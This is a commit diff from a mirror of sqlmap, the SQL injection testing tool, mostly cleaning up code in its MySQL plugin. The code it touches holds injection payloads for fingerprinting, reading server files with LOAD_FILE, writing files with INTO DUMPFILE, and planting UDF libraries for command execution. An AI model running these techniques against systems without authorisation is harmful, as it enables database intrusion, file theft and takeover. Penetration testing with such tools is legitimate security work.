mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
sqlmap 0.8-rc3: Merge from Miroslav Stampar's branch fixing a bug when verbosity > 2, another major bug with urlencoding/urldecoding of POST data and Cookies, adding --drop-set-cookie option, implementing support to automatically decode gzip and deflate HTTP responses, support for Google dork page result (--gpage) and a minor code cleanup.
This commit is contained in:
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
@@ -54,7 +52,6 @@ from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines MySQL methods
|
||||
@@ -77,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
unescaper.setUnescape(MySQLMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression, quote=True):
|
||||
if quote:
|
||||
@@ -111,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
@@ -135,8 +130,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
expression = expression.replace(old, escaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
|
||||
def __commentCheck(self):
|
||||
infoMsg = "executing MySQL comment injection fingerprint"
|
||||
logger.info(infoMsg)
|
||||
@@ -146,20 +140,20 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result != True:
|
||||
if not result:
|
||||
warnMsg = "unable to perform MySQL comment injection"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
# MySQL valid versions updated on 05/2009
|
||||
# MySQL valid versions updated on 12/2009
|
||||
versions = (
|
||||
(32200, 32233), # MySQL 3.22
|
||||
(32300, 32359), # MySQL 3.23
|
||||
(40000, 40031), # MySQL 4.0
|
||||
(40100, 40122), # MySQL 4.1
|
||||
(50000, 50077), # MySQL 5.0
|
||||
(50100, 50134), # MySQL 5.1
|
||||
(50000, 50089), # MySQL 5.0
|
||||
(50100, 50141), # MySQL 5.1
|
||||
(50400, 50401), # MySQL 5.4
|
||||
(60000, 60010), # MySQL 6.0
|
||||
)
|
||||
@@ -175,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
if not prevVer:
|
||||
prevVer = version
|
||||
|
||||
@@ -192,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
@@ -237,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
"""
|
||||
References for fingerprint:
|
||||
@@ -266,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
infoMsg = "confirming MySQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result != True:
|
||||
if not result:
|
||||
warnMsg = "the back-end DMBS is not MySQL"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -352,8 +344,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
|
||||
def checkDbmsOs(self, detailed=False):
|
||||
if kb.os:
|
||||
return
|
||||
@@ -361,7 +352,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
||||
@@ -375,8 +366,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
|
||||
def unionReadFile(self, rFile):
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
@@ -384,13 +374,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
||||
self.getRemoteTempPath()
|
||||
|
||||
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
@@ -426,8 +415,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
|
||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
logger.debug("encoding file to its hexadecimal string value")
|
||||
|
||||
@@ -455,18 +443,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
conf.paramFalseCond = oldParamFalseCond
|
||||
|
||||
if confirm == True:
|
||||
if confirm:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
debugMsg = "creating a support table to write the hexadecimal "
|
||||
debugMsg += "encoded file to"
|
||||
logger.debug(debugMsg)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
||||
|
||||
logger.debug("encoding file to its hexadecimal string value")
|
||||
logger.debug("encoding file to its hexadecimal string value")
|
||||
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
||||
|
||||
debugMsg = "forging SQL statements to write the hexadecimal "
|
||||
@@ -476,7 +463,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||
|
||||
logger.debug("inserting the hexadecimal encoded file to the support table")
|
||||
|
||||
|
||||
for sqlQuery in sqlQueries:
|
||||
inject.goStacked(sqlQuery)
|
||||
|
||||
@@ -486,51 +473,50 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
if confirm:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
|
||||
def udfSetRemotePath(self):
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
|
||||
# On Windows
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir is None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#self.__datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
self.__datadir = "."
|
||||
self.__datadir = "."
|
||||
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
|
||||
|
||||
if re.search("[\w]\:\/", self.__datadir, re.I):
|
||||
kb.os = "Windows"
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
@@ -539,25 +525,22 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
@@ -571,10 +554,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
Reference in New Issue
Block a user